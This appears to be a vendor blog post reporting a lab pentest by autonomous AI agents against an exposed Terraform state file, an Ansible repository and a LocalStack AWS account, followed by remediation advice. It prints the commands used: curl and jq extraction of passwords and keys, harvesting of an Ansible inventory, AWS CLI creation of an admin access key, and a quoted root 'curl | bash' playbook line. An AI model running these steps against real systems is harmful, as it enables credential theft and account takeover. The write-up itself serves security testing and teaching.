Blog

An exposed terraform.tfstate, and the secrets an autonomous agent pulled out of it

A Terraform state file served over plain HTTP with no authentication, an Ansible inventory in the open, and a LocalStack AWS account with an AdministratorAccess CI user. 16 unique findings, 10 of them critical.

· 7 min read

A Terraform state file is a plaintext inventory of your infrastructure, including the attributes Terraform had to know in order to create it. Database passwords, generated access keys and private keys all land in it, in clear, whatever the provider marks as sensitive. Terraform documents this. It is still one of the most common ways an environment leaks its own credentials.

We built a lab around that failure mode: a state file served by a plain Python HTTP server with no authentication, an Ansible repository exposed by directory listing next to it, and a LocalStack AWS account reflecting what the state described. Then we let Darkmoon dispatch on it. Three specialist agents, terraform, aws and ansible, ran as a parallel cascade against the same environment.

What the agents found

The report table lists 34 rows. The executive summary counts 16 unique findings (10 critical, 3 high, 3 medium), because the three parallel agents each recorded the surfaces they shared. We give both numbers rather than picking the flattering one.

SeverityCount
Critical21 rows (16 exploited)
High5 rows
Medium8 rows
Low0
Total34 rows / 16 unique

The summary also states the concrete outcome: 12 distinct secrets extracted, covering database passwords, AWS access keys, SSH credentials, a Grafana admin password and an RSA private key.

Chain one: one unauthenticated GET

curl -s --max-time 15 http://127.0.0.1:8888/terraform.tfstate

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.14.6
Content-type: application/octet-stream
Content-Length: 719

That is the entire exploit. The agent then queried the document rather than eyeballing it, one jq filter per resource type, which is what makes each finding independently reproducible:

curl -s http://127.0.0.1:8888/terraform.tfstate | jq -r \
  '.resources[] | select(.type=="aws_db_instance") | .instances[].attributes
   | {identifier,username,password,endpoint}'

-> identifier: prod-db
   username:   dbadmin
   password:   <redacted, in the report>
   endpoint:   prod-db.abc123.eu-west-1.rds.amazonaws.com:5432

curl -s http://127.0.0.1:8888/terraform.tfstate | jq -r \
  '.resources[] | select(.type=="aws_iam_access_key") | .instances[].attributes
   | {id,secret,status}'

-> id: AKIAIOSFODNN7EXAMPLE   status: Active

curl -s http://127.0.0.1:8888/terraform.tfstate | jq -r \
  '.resources[] | select(.type=="tls_private_key") | .instances[].attributes.private_key_pem'

-> -----BEGIN RSA PRIVATE KEY----- ... -----END RSA PRIVATE KEY-----

Three resource types, three classes of secret: a production RDS password with its endpoint, an active IAM access key, and a deploy private key. The state file also disclosed the Terraform version and the full resource graph, and the backend directory itself had listing enabled, which is how the agent found the file name in the first place.

Chain two: the Ansible repository next door

The same environment exposed an Ansible tree over HTTP with directory listing on. Two files carried everything:

curl -s --max-time 15 http://127.0.0.1:8890/inventory.ini

[web]
web01 ansible_host=<internal ip> ansible_user=deploy ansible_ssh_pass=<redacted>
[db]
db01 ansible_host=<internal ip> ansible_user=root ansible_become_pass=<redacted>

curl -s --max-time 15 http://127.0.0.1:8890/group_vars_all.yml

vault_aws_access_key: AKIAIOSFODNN7EXAMPLE
vault_aws_secret_key: <redacted>
grafana_admin_password: <redacted>

An inventory with ansible_ssh_pass and ansible_become_pass in the clear is remote access plus root on the database host, handed over by a static file. The file also discloses the internal network topology, which the report records separately as a medium finding.

The playbook was worse, and it is the only finding in the campaign rated 10.0:

curl -s --max-time 15 http://127.0.0.1:8890/site.yml

- hosts: all
  become: true
  tasks:
    - name: run maintenance
      shell: "curl -s http://internal/deploy.sh | bash"

Every managed host runs a script fetched over plain HTTP, as root, on every run. Anyone who can answer for that hostname owns the fleet. The agent classified this as a supply chain remote code execution pattern and marked it confirmed rather than exploited, because it read the playbook and did not run it.

Chain three: from a leaked key to account takeover

The AWS side was a LocalStack account standing in for the real one. The agent enumerated IAM, found the CI user, and demonstrated the escalation:

aws --endpoint-url http://localhost:4566 iam list-attached-user-policies --user-name ci-deploy
-> {"PolicyName":"AdministratorAccess",
    "PolicyArn":"arn:aws:iam::aws:policy/AdministratorAccess"}

aws --endpoint-url http://localhost:4566 iam create-access-key --user-name ci-deploy
-> AccessKeyId: LKIAQAAAAAAANM4FSRLD   Status: Active

aws --endpoint-url http://localhost:4566 sts get-caller-identity   # with the new key
-> Arn: arn:aws:iam::000000000000:user/ci-deploy

aws --endpoint-url http://localhost:4566 iam delete-access-key \
  --user-name ci-deploy --access-key-id LKIAQAAAAAAANM4FSRLD

That last line matters as much as the others. The agent minted a second access key on an administrator user to prove the persistence primitive, then deleted it. Proof, then cleanup, recorded in the same finding.

With that identity it read Secrets Manager and pulled the production database credentials from the prod/db secret, which is the second, independent path to the same password already sitting in the state file. It also recorded that the account has no CloudTrail and no GuardDuty, so none of this would have generated an alert, and that 90 or more EBS snapshots are unencrypted.

What the report does not claim

The two playbook findings are rated 10.0 and marked confirmed, not exploited. The agent never executed the playbook and never connected to web01 or db01 with the credentials it read. It proved the credentials exist and are readable by anyone, which is the finding. Walking into the hosts would have been out of scope for a non-destructive run, and the report does not imply it happened.

Remediation

  • Never serve state from an unauthenticated file server. Use a backend with authentication, encryption at rest and state locking, and restrict who can read it.
  • Assume every secret that has ever been in a state file is compromised: rotate the RDS password, the IAM key and the TLS private key rather than just moving the file.
  • Stop putting generated credentials in state. Reference a secret manager, or generate passwords out of band and inject them at deploy time.
  • Move the Ansible inventory secrets into ansible-vault or a secret store, and remove directory listing from anything serving infrastructure code.
  • Replace curl | bash with a pinned, checksum verified artefact fetched over TLS, and drop become: true where it is not needed.
  • Scope the CI identity down from AdministratorAccess, and enable CloudTrail and GuardDuty so that key minting is at least visible.

What this proves about autonomous pentesting

The three agents were dispatched in parallel on the same host and each stayed in its lane: the Terraform agent parsed state, the AWS agent worked the account, the Ansible agent read the repository. The overlap in the findings table is the honest cost of that design, and the executive summary reconciles it to 16 unique issues. What the run shows is that the chain from a forgotten file server to an administrator credential is short, mechanical and entirely automatable, which is precisely why it is worth testing continuously rather than once a year.

Darkmoon is GPL-3.0 and self hosted: source, docs.

Run it against your own lab

Darkmoon is open source (GPL-3.0) and self hosted. Clone it, point it at a target you own, and read every line.